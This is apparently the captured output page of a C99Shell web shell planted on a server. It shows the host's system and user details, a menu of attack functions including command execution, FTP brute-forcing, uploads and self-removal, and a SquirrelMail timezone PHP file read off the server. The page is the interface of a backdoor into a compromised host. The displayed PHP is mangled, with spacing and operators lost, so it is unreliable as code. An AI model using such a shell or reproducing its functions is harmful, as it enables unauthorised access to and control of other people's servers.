!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/local/webmail2/include/   drwxr-xr-x
Free 318.35 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     timezones.php (2.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * SquirrelMail Time zone functions
 *
 * Function load time zone array selected in SquirrelMail 
 * configuration.
 * 
 * Time zone array must consist of key name that matches key in
 * standard time zone array and 'NAME' and 'TZ' subkeys. 'NAME'
 * key should store translatable key name. 'TZ' key should store
 * time zone name that will be used in TZ environment variable.
 * Both subkeys are optional. If they are not present, time zone
 * key name is used.
 *
 * @copyright &copy; 1999-2006 The SquirrelMail Project Team
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @version $Id: timezones.php,v 1.4 2006/01/23 18:41:25 tokul Exp $
 * @package squirrelmail
 * @subpackage timezones
 */

/**
 * Returns time zone array set in SquirrelMail configuration
 * @return array time zone array
 * @since 1.5.1
 */
function sq_get_tz_array() {
    global 
$time_zone_type;

    
// variable is not set or empty
    
if (! isset($time_zone_type) || empty($time_zone_type)) {
        
$time_zone_type 0;
    } else {
        
// make sure that it is integer
        
$time_zone_type = (int) $time_zone_type;
    }

    
/**
     * TODO: which one is better (global + include_once) or (include) 
     */
    
switch ($time_zone_type) {
    case 
'3':
    case 
'2':
        
// custom time zone set
        
$aTimeZones = array();
        if (
file_exists(SM_PATH 'config/timezones.php')) {
            include(
SM_PATH 'config/timezones.php');
        }
        
$aRet $aTimeZones;
        break;
    case 
'1':
    case 
'0':
    default:
        
// standard (default) time zone set
        
include(SM_PATH 'include/timezones/standard.php');
        
$aRet $aTimeZones;
    }
    
// sort array
    
ksort($aRet);
    return 
$aRet;
}

/**
 * @param string time zone string
 * @return string time zone name used for TZ env 
 * (false, if timezone does not exists and server's TZ should be used)
 * @since 1.5.1
 */
function sq_get_tz_key($sTZ) {
    
$aTZs=sq_get_tz_array();

    
// get real time zone from link
    
if (isset($aTZs[$sTZ]['LINK'])) {
        
$sTZ $aTZs[$sTZ]['LINK'];
    }

    if (isset(
$aTZs[$sTZ])) {
        if (isset(
$aTZs[$sTZ]['TZ'])) {
            
// get time zone
            
return $aTZs[$sTZ]['TZ'];
        } else {
            
// array does not have TZ entry. bad thing
            
return $sTZ;
        }
    } else {
        return 
false;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0344 ]--